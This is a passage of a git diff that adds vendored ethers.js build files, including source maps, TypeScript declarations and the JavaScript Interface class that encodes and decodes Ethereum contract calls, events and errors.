+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/abi/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAIH,OAAO,EAAE,QAAQ,EAAE,MAAM,gBAAgB,CAAC;AAE1C,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAAE,MAAM,cAAc,CAAC;AAExE,OAAO,EACH,mBAAmB,EAAE,aAAa,EAAE,aAAa,EAAE,gBAAgB,EACnE,QAAQ,EAAE,gBAAgB,EAAE,aAAa,EAAE,SAAS,EAAE,cAAc,GACvE,MAAM,gBAAgB,CAAC;AAExB,OAAO,EACH,iBAAiB,EACjB,OAAO,EACP,SAAS,EACT,gBAAgB,EAAE,cAAc,EAAE,sBAAsB,EACxD,MAAM,EACT,MAAM,gBAAgB,CAAC;AAExB,OAAO,EAAE,KAAK,EAAE,MAAM,YAAY,CAAC;AAEnC,YAAY,EACR,YAAY,EAAE,gBAAgB,EAC9B,UAAU,EAAE,YAAY,EAAE,sBAAsB,EAAE,iBAAiB,EACtE,MAAM,gBAAgB,CAAC;AAExB,YAAY,EACR,YAAY,GACf,MAAM,gBAAgB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/index.js b/node_modules/ethers/lib.esm/abi/index.js new file mode 100644 index 000000000000..312d4d108f41 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/index.js @@ -0,0 +1,17 @@ +/** + * The Application Binary Interface (ABI) describes how method input + * parameters should be encoded, their results decoded, and how to + * decode events and errors. + * + * See [About ABIs](docs-abi) for more details how they are used. + * + * @_section api/abi:Application Binary Interface [about-abi] + * @_navTitle: ABI + */ +////// +export { AbiCoder } from "./abi-coder.js"; +export { decodeBytes32String, encodeBytes32String } from "./bytes32.js"; +export { ConstructorFragment, ErrorFragment, EventFragment, FallbackFragment, Fragment, FunctionFragment, NamedFragment, ParamType, StructFragment, } from "./fragments.js"; +export { checkResultErrors, Indexed, Interface, ErrorDescription, LogDescription, TransactionDescription, Result } from "./interface.js"; +export { Typed } from "./typed.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/index.js.map b/node_modules/ethers/lib.esm/abi/index.js.map new file mode 100644 index 000000000000..e4533c501e2c --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/abi/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAGH,MAAM;AACN,OAAO,EAAE,QAAQ,EAAE,MAAM,gBAAgB,CAAC;AAE1C,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAAE,MAAM,cAAc,CAAC;AAExE,OAAO,EACH,mBAAmB,EAAE,aAAa,EAAE,aAAa,EAAE,gBAAgB,EACnE,QAAQ,EAAE,gBAAgB,EAAE,aAAa,EAAE,SAAS,EAAE,cAAc,GACvE,MAAM,gBAAgB,CAAC;AAExB,OAAO,EACH,iBAAiB,EACjB,OAAO,EACP,SAAS,EACT,gBAAgB,EAAE,cAAc,EAAE,sBAAsB,EACxD,MAAM,EACT,MAAM,gBAAgB,CAAC;AAExB,OAAO,EAAE,KAAK,EAAE,MAAM,YAAY,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/interface.d.ts b/node_modules/ethers/lib.esm/abi/interface.d.ts new file mode 100644 index 000000000000..afa4ebb2dc77 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/interface.d.ts @@ -0,0 +1,382 @@ +/** + * The Interface class is a low-level class that accepts an + * ABI and provides all the necessary functionality to encode + * and decode paramaters to and results from methods, events + * and errors. + * + * It also provides several convenience methods to automatically + * search and find matching transactions and events to parse them. + * + * @_subsection api/abi:Interfaces [interfaces] + */ +import { AbiCoder } from "./abi-coder.js"; +import { checkResultErrors, Result } from "./coders/abstract-coder.js"; +import { ConstructorFragment, ErrorFragment, EventFragment, FallbackFragment, Fragment, FunctionFragment, ParamType } from "./fragments.js"; +import { Typed } from "./typed.js"; +import type { BigNumberish, BytesLike, CallExceptionError, CallExceptionTransaction } from "../utils/index.js"; +import type { JsonFragment } from "./fragments.js"; +export { checkResultErrors, Result }; +/** + * When using the [[Interface-parseLog]] to automatically match a Log to its event + * for parsing, a **LogDescription** is returned. + */ +export declare class LogDescription { + /** + * The matching fragment for the ``topic0``. + */ + readonly fragment: EventFragment; + /** + * The name of the Event. + */ + readonly name: string; + /** + * The full Event signature. + */ + readonly signature: string; + /** + * The topic hash for the Event. + */ + readonly topic: string; + /** + * The arguments passed into the Event with ``emit``. + */ + readonly args: Result; + /** + * @_ignore: + */ + constructor(fragment: EventFragment, topic: string, args: Result); +} +/** + * When using the [[Interface-parseTransaction]] to automatically match + * a transaction data to its function for parsing, + * a **TransactionDescription** is returned. + */ +export declare class TransactionDescription { + /** + * The matching fragment from the transaction ``data``. + */ + readonly fragment: FunctionFragment; + /** + * The name of the Function from the transaction ``data``. + */ + readonly name: string; + /** + * The arguments passed to the Function from the transaction ``data``. + */ + readonly args: Result; + /** + * The full Function signature from the transaction ``data``. + */ + readonly signature: string; + /** + * The selector for the Function from the transaction ``data``. + */ + readonly selector: string; + /** + * The ``value`` (in wei) from the transaction. + */ + readonly value: bigint; + /** + * @_ignore: + */ + constructor(fragment: FunctionFragment, selector: string, args: Result, value: bigint); +} +/** + * When using the [[Interface-parseError]] to automatically match an + * error for a call result for parsing, an **ErrorDescription** is returned. + */ +export declare class ErrorDescription { + /** + * The matching fragment. + */ + readonly fragment: ErrorFragment; + /** + * The name of the Error. + */ + readonly name: string; + /** + * The arguments passed to the Error with ``revert``. + */ + readonly args: Result; + /** + * The full Error signature. + */ + readonly signature: string; + /** + * The selector for the Error. + */ + readonly selector: string; + /** + * @_ignore: + */ + constructor(fragment: ErrorFragment, selector: string, args: Result); +} +/** + * An **Indexed** is used as a value when a value that does not + * fit within a topic (i.e. not a fixed-length, 32-byte type). It + * is the ``keccak256`` of the value, and used for types such as + * arrays, tuples, bytes and strings. + */ +export declare class Indexed { + /** + * The ``keccak256`` of the value logged. + */ + readonly hash: null | string; + /** + * @_ignore: + */ + readonly _isIndexed: boolean; + /** + * Returns ``true`` if %%value%% is an **Indexed**. + * + * This provides a Type Guard for property access. + */ + static isIndexed(value: any): value is Indexed; + /** + * @_ignore: + */ + constructor(hash: null | string); +} +/** + * An **InterfaceAbi** may be any supported ABI format. + * + * A string is expected to be a JSON string, which will be parsed + * using ``JSON.parse``. This means that the value **must** be a valid + * JSON string, with no stray commas, etc. + * + * An array may contain any combination of: + * - Human-Readable fragments + * - Parsed JSON fragment + * - [[Fragment]] instances + * + * A **Human-Readable Fragment** is a string which resembles a Solidity + * signature and is introduced in [this blog entry](link-ricmoo-humanreadableabi). + * For example, ``function balanceOf(address) view returns (uint)``. + * + * A **Parsed JSON Fragment** is a JavaScript Object desribed in the + * [Solidity documentation](link-solc-jsonabi). + */ +export type InterfaceAbi = string | ReadonlyArray; +/** + * An Interface abstracts many of the low-level details for + * encoding and decoding the data on the blockchain. + * + * An ABI provides information on how to encode data to send to + * a Contract, how to decode the results and events and how to + * interpret revert errors. + * + * The ABI can be specified by [any supported format](InterfaceAbi). + */ +export declare class Interface { + #private; + /** + * All the Contract ABI members (i.e. methods, events, errors, etc). + */ + readonly fragments: ReadonlyArray; + /** + * The Contract constructor. + */ + readonly deploy: ConstructorFragment; + /** + * The Fallback method, if any. + */ + readonly fallback: null | FallbackFragment; + /** + * If receiving ether is supported. + */ + readonly receive: boolean; + /** + * Create a new Interface for the %%fragments%%. + */ + constructor(fragments: InterfaceAbi); + /** + * Returns the entire Human-Readable ABI, as an array of + * signatures, optionally as %%minimal%% strings, which + * removes parameter names and unneceesary spaces. + */ + format(minimal?: boolean): Array; + /** + * Return the JSON-encoded ABI. This is the format Solidiy + * returns. + */ + formatJson(): string; + /** + * The ABI coder that will be used to encode and decode binary + * data. + */ + getAbiCoder(): AbiCoder; + /** + * Get the function name for %%key%%, which may be a function selector, + * function name or function signature that belongs to the ABI. + */ + getFunctionName(key: string): string; + /** + * Returns true if %%key%% (a function selector, function name or + * function signature) is present in the ABI. + * + * In the case of a function name, the name may be ambiguous, so + * accessing the [[FunctionFragment]] may require refinement. + */ + hasFunction(key: string): boolean; + /** + * Get the [[FunctionFragment]] for %%key%%, which may be a function + * selector, function name or function signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple functions match by name. + * + * If the %%key%% and %%values%% do not refine to a single function in + * the ABI, this will throw. + */ + getFunction(key: string, values?: Array): null | FunctionFragment; + /** + * Iterate over all functions, calling %%callback%%, sorted by their name. + */ + forEachFunction(callback: (func: FunctionFragment, index: number) => void): void; + /** + * Get the event name for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + */ + getEventName(key: string): string; + /** + * Returns true if %%key%% (an event topic hash, event name or + * event signature) is present in the ABI. + * + * In the case of an event name, the name may be ambiguous, so + * accessing the [[EventFragment]] may require refinement. + */ + hasEvent(key: string): boolean; + /** + * Get the [[EventFragment]] for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple events match by name. + * + * If the %%key%% and %%values%% do not refine to a single event in + * the ABI, this will throw. + */ + getEvent(key: string, values?: Array): null | EventFragment; + /** + * Iterate over all events, calling %%callback%%, sorted by their name. + */ + forEachEvent(callback: (func: EventFragment, index: number) => void): void; + /** + * Get the [[ErrorFragment]] for %%key%%, which may be an error + * selector, error name or error signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple errors match by name. + * + * If the %%key%% and %%values%% do not refine to a single error in + * the ABI, this will throw. + */ + getError(key: string, values?: Array): null | ErrorFragment; + /** + * Iterate over all errors, calling %%callback%%, sorted by their name. + */ + forEachError(callback: (func: ErrorFragment, index: number) => void): void; + _decodeParams(params: ReadonlyArray, data: BytesLike): Result; + _encodeParams(params: ReadonlyArray, values: ReadonlyArray): string; + /** + * Encodes a ``tx.data`` object for deploying the Contract with + * the %%values%% as the constructor arguments. + */ + encodeDeploy(values?: ReadonlyArray): string; + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified error (see [[getError]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeErrorResult(fragment: ErrorFragment | string, data: BytesLike): Result; + /** + * Encodes the transaction revert data for a call result that + * reverted from the the Contract with the sepcified %%error%% + * (see [[getError]] for valid values for %%fragment%%) with the %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeErrorResult(fragment: ErrorFragment | string, values?: ReadonlyArray): string; + /** + * Decodes the %%data%% from a transaction ``tx.data`` for + * the function specified (see [[getFunction]] for valid values + * for %%fragment%%). + * + * Most developers should prefer the [[parseTransaction]] method + * instead, which will automatically detect the fragment. + */ + decodeFunctionData(fragment: FunctionFragment | string, data: BytesLike): Result; + /** + * Encodes the ``tx.data`` for a transaction that calls the function + * specified (see [[getFunction]] for valid values for %%fragment%%) with + * the %%values%%. + */ + encodeFunctionData(fragment: FunctionFragment | string, values?: ReadonlyArray): string; + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeFunctionResult(fragment: FunctionFragment | string, data: BytesLike): Result; + makeError(_data: BytesLike, tx: CallExceptionTransaction): CallExceptionError; + /** + * Encodes the result data (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values + * for %%fragment%%) with %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeFunctionResult(fragment: FunctionFragment | string, values?: ReadonlyArray): string; + encodeFilterTopics(fragment: EventFragment | string, values: ReadonlyArray): Array>; + encodeEventLog(fragment: EventFragment | string, values: ReadonlyArray): { + data: string; + topics: Array; + }; + decodeEventLog(fragment: EventFragment | string, data: BytesLike, topics?: ReadonlyArray): Result; + /** + * Parses a transaction, finding the matching function and extracts + * the parameter values along with other useful function details. + * + * If the matching function cannot be found, return null. + */ + parseTransaction(tx: { + data: string; + value?: BigNumberish; + }): null | TransactionDescription; + parseCallResult(data: BytesLike): Result; + /** + * Parses a receipt log, finding the matching event and extracts + * the parameter values along with other useful event details. + * + * If the matching event cannot be found, returns null. + */ + parseLog(log: { + topics: ReadonlyArray; + data: string; + }): null | LogDescription; + /** + * Parses a revert data, finding the matching error and extracts + * the parameter values along with other useful error details. + * + * If the matching error cannot be found, returns null. + */ + parseError(data: BytesLike): null | ErrorDescription; + /** + * Creates a new [[Interface]] from the ABI %%value%%. + * + * The %%value%% may be provided as an existing [[Interface]] object, + * a JSON-encoded ABI or any Human-Readable ABI format. + */ + static from(value: InterfaceAbi | Interface): Interface; +} +//# sourceMappingURL=interface.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/interface.d.ts.map b/node_modules/ethers/lib.esm/abi/interface.d.ts.map new file mode 100644 index 000000000000..d9367c1aef2f --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/interface.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"interface.d.ts","sourceRoot":"","sources":["../../src.ts/abi/interface.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAUH,OAAO,EAAE,QAAQ,EAAE,MAAM,gBAAgB,CAAC;AAC1C,OAAO,EAAE,iBAAiB,EAAE,MAAM,EAAE,MAAM,4BAA4B,CAAC;A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,MAAM,CAAC,CAAC;IAgEtH,cAAc,CAAC,QAAQ,EAAE,aAAa,GAAG,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,KAAK,CAAC,MAAM,CAAC,CAAA;KAAE;IA6CrH,cAAc,CAAC,QAAQ,EAAE,aAAa,GAAG,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,MAAM,CAAC,EAAE,aAAa,CAAC,MAAM,CAAC,GAAG,MAAM;IAuEzG;;;;;OAKG;IACH,gBAAgB,CAAC,EAAE,EAAE;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,KAAK,CAAC,EAAE,YAAY,CAAA;KAAE,GAAG,IAAI,GAAG,sBAAsB;IAY3F,eAAe,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM;IAIxC;;;;;OAKG;IACH,QAAQ,CAAC,GAAG,EAAE;QAAE,MAAM,EAAE,aAAa,CAAC,MAAM,CAAC,CAAC;QAAC,IAAI,EAAE,MAAM,CAAA;KAAC,GAAG,IAAI,GAAG,cAAc;IAapF;;;;;OAKG;IACH,UAAU,CAAC,IAAI,EAAE,SAAS,GAAG,IAAI,GAAG,gBAAgB;IAWpD;;;;;OAKG;IACH,MAAM,CAAC,IAAI,CAAC,KAAK,EAAE,YAAY,GAAG,SAAS,GAAG,SAAS;CAoB1D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/interface.js b/node_modules/ethers/lib.esm/abi/interface.js new file mode 100644 index 000000000000..81705b37e0af --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/interface.js @@ -0,0 +1,1101 @@ +/** + * The Interface class is a low-level class that accepts an + * ABI and provides all the necessary functionality to encode + * and decode paramaters to and results from methods, events + * and errors. + * + * It also provides several convenience methods to automatically + * search and find matching transactions and events to parse them. + * + * @_subsection api/abi:Interfaces [interfaces] + */ +import { keccak256 } from "../crypto/index.js"; +import { id } from "../hash/index.js"; +import { concat, dataSlice, getBigInt, getBytes, getBytesCopy, hexlify, zeroPadBytes, zeroPadValue, isHexString, defineProperties, assertArgument, toBeHex, assert } from "../utils/index.js"; +import { AbiCoder } from "./abi-coder.js"; +import { checkResultErrors, Result } from "./coders/abstract-coder.js"; +import { ConstructorFragment, ErrorFragment, EventFragment, Fragment, FunctionFragment, ParamType } from "./fragments.js"; +import { Typed } from "./typed.js"; +export { checkResultErrors, Result }; +/** + * When using the [[Interface-parseLog]] to automatically match a Log to its event + * for parsing, a **LogDescription** is returned. + */ +export class LogDescription { + /** + * The matching fragment for the ``topic0``. + */ + fragment; + /** + * The name of the Event. + */ + name; + /** + * The full Event signature. + */ + signature; + /** + * The topic hash for the Event. + */ + topic; + /** + * The arguments passed into the Event with ``emit``. + */ + args; + /** + * @_ignore: + */ + constructor(fragment, topic, args) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, signature, topic, args + }); + } +} +/** + * When using the [[Interface-parseTransaction]] to automatically match + * a transaction data to its function for parsing, + * a **TransactionDescription** is returned. + */ +export class TransactionDescription { + /** + * The matching fragment from the transaction ``data``. + */ + fragment; + /** + * The name of the Function from the transaction ``data``. + */ + name; + /** + * The arguments passed to the Function from the transaction ``data``. + */ + args; + /** + * The full Function signature from the transaction ``data``. + */ + signature; + /** + * The selector for the Function from the transaction ``data``. + */ + selector; + /** + * The ``value`` (in wei) from the transaction. + */ + value; + /** + * @_ignore: + */ + constructor(fragment, selector, args, value) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, args, signature, selector, value + }); + } +} +/** + * When using the [[Interface-parseError]] to automatically match an + * error for a call result for parsing, an **ErrorDescription** is returned. + */ +export class ErrorDescription { + /** + * The matching fragment. + */ + fragment; + /** + * The name of the Error. + */ + name; + /** + * The arguments passed to the Error with ``revert``. + */ + args; + /** + * The full Error signature. + */ + signature; + /** + * The selector for the Error. + */ + selector; + /** + * @_ignore: + */ + constructor(fragment, selector, args) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, args, signature, selector + }); + } +} +/** + * An **Indexed** is used as a value when a value that does not + * fit within a topic (i.e. not a fixed-length, 32-byte type). It + * is the ``keccak256`` of the value, and used for types such as + * arrays, tuples, bytes and strings. + */ +export class Indexed { + /** + * The ``keccak256`` of the value logged. + */ + hash; + /** + * @_ignore: + */ + _isIndexed; + /** + * Returns ``true`` if %%value%% is an **Indexed**. + * + * This provides a Type Guard for property access. + */ + static isIndexed(value) { + return !!(value && value._isIndexed); + } + /** + * @_ignore: + */ + constructor(hash) { + defineProperties(this, { hash, _isIndexed: true }); + } +} +// https://docs.soliditylang.org/en/v0.8.13/control-structures.html?highlight=panic#panic-via-assert-and-error-via-require +const PanicReasons = { + "0": "generic panic", + "1": "assert(false)", + "17": "arithmetic overflow", + "18": "division or modulo by zero", + "33": "enum overflow", + "34": "invalid encoded storage byte array accessed", + "49": "out-of-bounds array access; popping on an empty array", + "50": "out-of-bounds access of an array or bytesN", + "65": "out of memory", + "81": "uninitialized function", +}; +const BuiltinErrors = { + "0x08c379a0": { + signature: "Error(string)", + name: "Error", + inputs: ["string"], + reason: (message) => { + return `reverted with reason string ${JSON.stringify(message)}`; + } + }, + "0x4e487b71": { + signature: "Panic(uint256)", + name: "Panic", + inputs: ["uint256"], + reason: (code) => { + let reason = "unknown panic code"; + if (code >= 0 && code <= 0xff && PanicReasons[code.toString()]) { + reason = PanicReasons[code.toString()]; + } + return `reverted with panic code 0x${code.toString(16)} (${reason})`; + } + } +}; +/** + * An Interface abstracts many of the low-level details for + * encoding and decoding the data on the blockchain. + * + * An ABI provides information on how to encode data to send to + * a Contract, how to decode the results and events and how to + * interpret revert errors. + * + * The ABI can be specified by [any supported format](InterfaceAbi). + */ +export class Interface { + /** + * All the Contract ABI members (i.e. methods, events, errors, etc). + */ + fragments; + /** + * The Contract constructor. + */ + deploy; + /** + * The Fallback method, if any. + */ + fallback; + /** + * If receiving ether is supported. + */ + receive; + #errors; + #events; + #functions; + // #structs: Map; + #abiCoder; + /** + * Create a new Interface for the %%fragments%%. + */ + constructor(fragments) { + let abi = []; + if (typeof (fragments) === "string") { + abi = JSON.parse(fragments); + } + else { + abi = fragments; + } + this.#functions = new Map(); + this.#errors = new Map(); + this.#events = new Map(); + // this.#structs = new Map(); + const frags = []; + for (const a of abi) { + try { + frags.push(Fragment.from(a)); + } + catch (error) { + console.log(`[Warning] Invalid Fragment ${JSON.stringify(a)}:`, error.message); + } + } + defineProperties(this, { + fragments: Object.freeze(frags) + }); + let fallback = null; + let receive = false; + this.#abiCoder = this.getAbiCoder(); + // Add all fragments by their signature + this.fragments.forEach((fragment, index) => { + let bucket; + switch (fragment.type) { + case "constructor": + if (this.deploy) { + console.log("duplicate definition - constructor"); + return; + } + //checkNames(fragment, "input", fragment.inputs); + defineProperties(this, { deploy: fragment }); + return; + case "fallback": + if (fragment.inputs.length === 0) { + receive = true; + } + else { + assertArgument(!fallback || fragment.payable !== fallback.payable, "conflicting fallback fragments", `fragments[${index}]`, fragment); + fallback = fragment; + receive = fallback.payable; + } + return; + case "function": + //checkNames(fragment, "input", fragment.inputs); + //checkNames(fragment, "output", (fragment).outputs); + bucket = this.#functions; + break; + case "event": + //checkNames(fragment, "input", fragment.inputs); + bucket = this.#events; + break; + case "error": + bucket = this.#errors; + break; + default: + return; + } + // Two identical entries; ignore it + const signature = fragment.format(); + if (bucket.has(signature)) { + return; + } + bucket.set(signature, fragment); + }); + // If we do not have a constructor add a default + if (!this.deploy) { + defineProperties(this, { + deploy: ConstructorFragment.from("constructor()") + }); + } + defineProperties(this, { fallback, receive }); + } + /** + * Returns the entire Human-Readable ABI, as an array of + * signatures, optionally as %%minimal%% strings, which + * removes parameter names and unneceesary spaces. + */ + format(minimal) { + const format = (minimal ? "minimal" : "full"); + const abi = this.fragments.map((f) => f.format(format)); + return abi; + } + /** + * Return the JSON-encoded ABI. This is the format Solidiy + * returns. + */ + formatJson() { + const abi = this.fragments.map((f) => f.format("json")); + // We need to re-bundle the JSON fragments a bit + return JSON.stringify(abi.map((j) => JSON.parse(j))); + } + /** + * The ABI coder that will be used to encode and decode binary + * data. + */ + getAbiCoder() { + return AbiCoder.defaultAbiCoder(); + } + // Find a function definition by any means necessary (unless it is ambiguous) + #getFunction(key, values, forceUnique) { + // Selector + if (isHexString(key)) { + const selector = key.toLowerCase(); + for (const fragment of this.#functions.values()) { + if (selector === fragment.selector) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#functions) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (values) { + const lastValue = (values.length > 0) ? values[values.length - 1] : null; + let valueLength = values.length; + let allowOptions = true; + if (Typed.isTyped(lastValue) && lastValue.type === "overrides") { + allowOptions = false; + valueLength--; + } + // Remove all matches that don't have a compatible length. The args + // may contain an overrides, so the match may have n or n - 1 parameters + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs.length; + if (inputs !== valueLength && (!allowOptions || inputs !== valueLength - 1)) { + matching.splice(i, 1); + } + } + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!Typed.isTyped(values[j])) { + continue; + } + // We are past the inputs + if (j >= inputs.length) { + if (values[j].type === "overrides") { + continue; + } + matching.splice(i, 1); + break; + } + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + // We found a single matching signature with an overrides, but the + // last value is something that cannot possibly be an options + if (matching.length === 1 && values && values.length !== matching[0].inputs.length) { + const lastArg = values[values.length - 1]; + if (lastArg == null || Array.isArray(lastArg) || typeof (lastArg) !== "object") { + matching.splice(0, 1); + } + } + if (matching.length === 0) { + return null; + } + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous function description (i.e. matches ${matchStr})`, "key", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + const result = this.#functions.get(FunctionFragment.from(key).format()); + if (result) { + return result; + } + return null; + } + /** + * Get the function name for %%key%%, which may be a function selector, + * function name or function signature that belongs to the ABI. + */ + getFunctionName(key) { + const fragment = this.#getFunction(key, null, false); + assertArgument(fragment, "no matching function", "key", key); + return fragment.name; + } + /** + * Returns true if %%key%% (a function selector, function name or + * function signature) is present in the ABI. + * + * In the case of a function name, the name may be ambiguous, so + * accessing the [[FunctionFragment]] may require refinement. + */ + hasFunction(key) { + return !!this.#getFunction(key, null, false); + } + /** + * Get the [[FunctionFragment]] for %%key%%, which may be a function + * selector, function name or function signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple functions match by name. + * + * If the %%key%% and %%values%% do not refine to a single function in + * the ABI, this will throw. + */ + getFunction(key, values) { + return this.#getFunction(key, values || null, true); + } + /** + * Iterate over all functions, calling %%callback%%, sorted by their name. + */ + forEachFunction(callback) { + const names = Array.from(this.#functions.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#functions.get(name)), i); + } + } + // Find an event definition by any means necessary (unless it is ambiguous) + #getEvent(key, values, forceUnique) { + // EventTopic + if (isHexString(key)) { + const eventTopic = key.toLowerCase(); + for (const fragment of this.#events.values()) { + if (eventTopic === fragment.topicHash) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#events) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (values) { + // Remove all matches that don't have a compatible length. + for (let i = matching.length - 1; i >= 0; i--) { + if (matching[i].inputs.length < values.length) { + matching.splice(i, 1); + } + } + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!Typed.isTyped(values[j])) { + continue; + } + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + if (matching.length === 0) { + return null; + } + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous event description (i.e. matches ${matchStr})`, "key", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + const result = this.#events.get(EventFragment.from(key).format()); + if (result) { + return result; + } + return null; + } + /** + * Get the event name for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + */ + getEventName(key) { + const fragment = this.#getEvent(key, null, false); + assertArgument(fragment, "no matching event", "key", key); + return fragment.name; + } + /** + * Returns true if %%key%% (an event topic hash, event name or + * event signature) is present in the ABI. + * + * In the case of an event name, the name may be ambiguous, so + * accessing the [[EventFragment]] may require refinement. + */ + hasEvent(key) { + return !!this.#getEvent(key, null, false); + } + /** + * Get the [[EventFragment]] for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple events match by name. + * + * If the %%key%% and %%values%% do not refine to a single event in + * the ABI, this will throw. + */ + getEvent(key, values) { + return this.#getEvent(key, values || null, true); + } + /** + * Iterate over all events, calling %%callback%%, sorted by their name. + */ + forEachEvent(callback) { + const names = Array.from(this.#events.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#events.get(name)), i); + } + } + /** + * Get the [[ErrorFragment]] for %%key%%, which may be an error + * selector, error name or error signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple errors match by name. + * + * If the %%key%% and %%values%% do not refine to a single error in + * the ABI, this will throw. + */ + getError(key, values) { + if (isHexString(key)) { + const selector = key.toLowerCase(); + if (BuiltinErrors[selector]) { + return ErrorFragment.from(BuiltinErrors[selector].signature); + } + for (const fragment of this.#errors.values()) { + if (selector === fragment.selector) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#errors) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (matching.length === 0) { + if (key === "Error") { + return ErrorFragment.from("error Error(string)"); + } + if (key === "Panic") { + return ErrorFragment.from("error Panic(uint256)"); + } + return null; + } + else if (matching.length > 1) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous error description (i.e. ${matchStr})`, "name", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + key = ErrorFragment.from(key).format(); + if (key === "Error(string)") { + return ErrorFragment.from("error Error(string)"); + } + if (key === "Panic(uint256)") { + return ErrorFragment.from("error Panic(uint256)"); + } + const result = this.#errors.get(key); + if (result) { + return result; + } + return null; + } + /** + * Iterate over all errors, calling %%callback%%, sorted by their name. + */ + forEachError(callback) { + const names = Array.from(this.#errors.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#errors.get(name)), i); + } + } + // Get the 4-byte selector used by Solidity to identify a function + /* +getSelector(fragment: ErrorFragment | FunctionFragment): string { + if (typeof(fragment) === "string") { + const matches: Array = [ ]; + + try { matches.push(this.getFunction(fragment)); } catch (error) { } + try { matches.push(this.getError(fragment)); } catch (_) { } + + if (matches.length === 0) { + logger.throwArgumentError("unknown fragment", "key", fragment); + } else if (matches.length > 1) { + logger.throwArgumentError("ambiguous fragment matches function and error", "key", fragment); + } + + fragment = matches[0]; + } + + return dataSlice(id(fragment.format()), 0, 4); +} + */ + // Get the 32-byte topic hash used by Solidity to identify an event + /* + getEventTopic(fragment: EventFragment): string { + //if 